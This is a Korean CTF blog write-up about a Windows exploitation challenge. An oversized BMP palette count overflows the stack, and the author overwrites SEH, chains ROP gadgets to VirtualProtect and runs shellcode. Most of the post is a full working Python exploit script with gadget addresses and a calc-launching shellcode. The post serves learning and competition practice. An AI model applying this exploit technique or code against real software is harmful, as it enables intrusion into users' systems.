처음 풀어본 윈도우 익스 문제였고 신선했고 배운것도 많았다. 취약점은 어렵지 않았고 트리거 하는 과정도 실재 버그헌팅이랑 비슷해보였다. 처음이라 고생많고 오래걸렸는데 재밌었다.


bmp파일의 header를 읽는 부분에서 팔레트 크기를 읽어서 크기만큼 스택에 가져오는데 0x100이 정해진 크기지만 조작해서 더 큰 값을 넣을 수 있다.

canary가 있으므로 seh까지 쭉 덮어버리면 eip가 조작이 가능하다

rop로 vprotect로  실행권한 주고 쉘코드를 실행시켰다.

이때 팔레트는 4바이트마다 \x00을 넣어서 읽어오기 때문에 그냥넣으면 쉘코드가 이상해지고 그렇다고 쉘코드를 변형하기는 귀찮아서

쉘코드를 push해서 esp를 쉘코드주소로 보낸다음 실행시키는 어셈을 짠다음 쉘코드로 eip를 보내서 실행시켰다.

대회에서는 리모트 쉘코드를 넣어서 쉘을 따야하지만 그냥 일단 계산기 코드를 넣어서 실행시켰다. 

from struct import * import os def p4(buf): return pack('<I',buf) def p2(buf): return pack('<H',buf) f=open('./ex.bmp','wb') f2=open('./1.bmp','rb') h=f2.read(0x2e) biClrused=0x400 header=h header+=p4(biClrused) header+=p4(0) def create_rop_chain():    #not used # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x004a4b10, # POP EAX # RETN [BMP.exe] 0x00552258, # ptr to &VirtualAlloc() [IAT BMP.exe] 0x0051beed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BMP.exe] 0x004cf8fc, # XCHG EAX,ESI # RETN [BMP.exe] 0x0052b83d, # POP EBP # RETN [BMP.exe] 0x0044e1fb, # & push esp # ret [BMP.exe] 0x005177d4, # POP EBX # RETN [BMP.exe] 0x00000001, # 0x00000001-> ebx 0x0052a218, # POP EDX # RETN [BMP.exe] 0x00001000, # 0x00001000-> edx 0x0054dbd4, # POP ECX # RETN [BMP.exe] 0x00000040, # 0x00000040-> ecx 0x00528bbb, # POP EDI # RETN [BMP.exe] 0x0044aecf, # RETN (ROP NOP) [BMP.exe] 0x004b272a, # POP EAX # RETN [BMP.exe] 0x90909090, # nop 0x00548e8f, # PUSHAD # RETN [BMP.exe] ] return ''.join(pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() obj = 0x12f000 vprotect = 0x4d58fb pop_edi = 0x004018ad pop_esi = 0x00524e51 ret = 0x40415d over = '' over += p4(pop_esi) over += p4(obj) over += p4(pop_edi) over += p4(obj) over += p4(vprotect) over += p4(obj) over += p4(0x1000) over += p4(0x40) #rwx over += p4(obj) over += p4(ret) #ex+=rop_chain #0012f690 shloc=0x0012f84c    #stored shellcode address shellcode="\x81\xc4\x00\x05\x00\x00\x90\x90" shellcode+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" shellcode+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" shellcode+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33" shellcode+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b" shellcode+="\x57\x78\x01\xc2\x8b\x7a\x20\x01" shellcode+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" shellcode+="\x45\x81\x3e\x43\x72\x65\x61\x75" shellcode+="\xf2\x81\x7e\x08\x6f\x63\x65\x73" shellcode+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66" shellcode+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" shellcode+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" shellcode+="\xb1\xff\x53\xe2\xfd\x68\x63\x61" shellcode+="\x6c\x63\x89\xe2\x52\x52\x53\x53" shellcode+="\x53\x53\x53\x53\x52\x53\xff\xd7" shellcode+=p4(shloc) pushsh='\x89\xe1'+'\xb3'+'\x90' import binascii print len(shellcode) for i in range(len(shellcode)/2): pushsh+='\x68'+shellcode[2*i]+shellcode[2*i+1]+'\x00\x00'+'\x90\xb3\x00' pushsh+='\x41\x41'+'\xb3\x00' pushsh+='\x89\xcc'+'\xb3\x00' pushsh+='\x49\x49\xb3\x00'*4 pushsh+='\x89\xcc'+'\xb3\x00' pushsh+='\xc3'+'\x90'*3 #pushsh+="AAAA"*5 ex='' ex+=over ex+=p4(0x12fb7c)*8    #vprotect rop addr cont='' char='A' print len(pushsh) print len(ex) for i in range(0x160-len(ex)/4): cont+=p4(ret) cont+=ex cont+='aaaa' for i in range(200): cont+=p4(0x4040ca)    # add esp 0x9d4 cont+=pushsh for i in range(0x1000): cont+='BBBB' f.write(header) f.write(cont) f.close() #os.system('bmp_edit.exe ex.bmp') os.system('bmp2.exe ex.bmp')


'CTF' 카테고리의 다른 글

[2017 googlectf] inst_prof  (0) 2017.06.19
[0ctf qual]EasiestPrintf  (0) 2017.05.25
[defcon prequal 2017]magic  (0) 2017.05.12
[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 final]real  (0) 2017.05.09

+ Recent posts